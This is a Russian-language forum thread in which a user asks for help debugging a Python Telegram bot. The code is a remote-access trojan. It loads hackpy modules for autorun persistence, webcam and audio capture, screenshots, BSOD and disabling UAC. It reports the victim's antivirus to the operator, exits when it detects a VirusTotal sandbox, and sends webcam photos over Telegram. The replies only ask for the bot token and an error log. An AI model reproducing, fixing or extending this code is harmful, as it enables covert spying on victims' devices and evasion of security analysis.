Загрузка...

Найдите и исправте ошибку телеграм бота

Тема в разделе Python создана пользователем nikita900_inactive2452703 7 янв 2020. 167 просмотров

  1. nikita900_inactive2452703
    nikita900_inactive2452703 Автор темы 7 янв 2020 Заблокирован(а) 4 5 июл 2019
    и можно пожалуйста без того что python не подойдёт. я знаю.
    Код

    import telebot
    import hackpy


    bot = telebot.TeleBot('')

    @bot.message_handler(commands=['start'])
    def start_message(message):
    bot.send_message(message.chat.id, 'starting')
    print("установливаю")
    hackpy.load_modules(
    'autorun.exe', # Size: 13.5 KB | Need for hackpy.autorun(file).installRegistry(), hackpy.autorun(file).uninstallRegistry(), hackpy.autorun(file).installTaskscheduler(), hackpy.autorun(file).uninstallTaskscheduler()
    'webcam.exe', # Size: 71.0 KB | Need for hackpy.webcamScreenshot(filename = 'screenshot.png', delay = 4500, camera = 1)
    'nircmd.exe', # Size: 51.0 KB | Need for hackpy.desktopScreenshot(), hackpy.command.nircmdc()
    'activity.exe', # Size: 14.0 KB | Need for hackpy.getActiveWindow(), hackpy.userIsActive(), hackpy.setCursorPos(x,y), hackpy.getCursorPos()
    'audio.zip', # Size: 297 KB | Need for hackpy.recordAudio(filename = 'recording.wav', time = 20)
    'bsod.exe', # Size: 11.0 KB | Need for hackpy.bsod()
    'rotate_screen.exe',# Size: 16.0 KB | Need for hackpy.rotateScreen()
    'uac.exe', # Size: 12.0 KB | Need for hackpy.uac.disable(), hackpy.uac.enable(), hackpy.uac.status()
    'watchdog.exe', # Size: 12.5 KB | Need for hackpy.watchdog('firefox.exe').start()
    'system_status.exe' # Size: 16.0 KB | Need for hackpy.inSandBox(), hackpy.inVirtualBox(), hackpy.cpuName(), hackpy.cpuUsage(), hackpy.gpuName(), hackpy.totalMemory()
    )


    @bot.message_handler(content_types=['text'])
    def send_text(message):
    if message.text == 'антивирус':
    bot.send_message(message.chat.id, 'проверка')
    data = hackpy.detectProtection()
    for antivirus in data:
    bot.send_message(message.chat.id, '[!] - обнаружен антивирус: ' + antivirus + ', место установки: ' + data[antivirus])



    @bot.message_handler(content_types=['text'])
    def send_text(message):
    if message.text == 'VirusTotal':
    bot.send_message(message.chat.id, "проверка")
    if hackpy.checkOrganization():
    bot.send_message(message.chat.id, 'Trojan started on VirusTotal machine! Stopping..')
    exit()

    @bot.message_handler(content_types=['text'])
    def send_text(message):
    if message.text == 'webcam':
    bot.send_message(message.chat.id, "выполняю")
    hackpy.webcamScreenshot(filename = 'webcam.png', delay = 4500, camera = 1)
    bot.send_photo(message.chat.id,open('webcam.jpg', 'rb'))



    @bot.message_handler(content_types=['text'])
    def send_text(message):
    if message.text == 'help':
    bot.send_message(message.chat.id, 'help')
    bot.send_message(message.chat.id, "webcam")
    bot.send_message(message.chat.id, "VT")

    bot.polling(none_stop=True)

     
  2. nikita900_inactive2452703
    nikita900_inactive2452703 Автор темы 7 янв 2020 Заблокирован(а) 4 5 июл 2019
    @Pizdecgs,да
     
  3. 893
    Ритик
    Бляяяяяяяяяяяяя....
    Токен вставь...
    --- Сообщение объединено с предыдущим 8 янв 2020
    скинь лог ошибки
     
Загрузка...
Top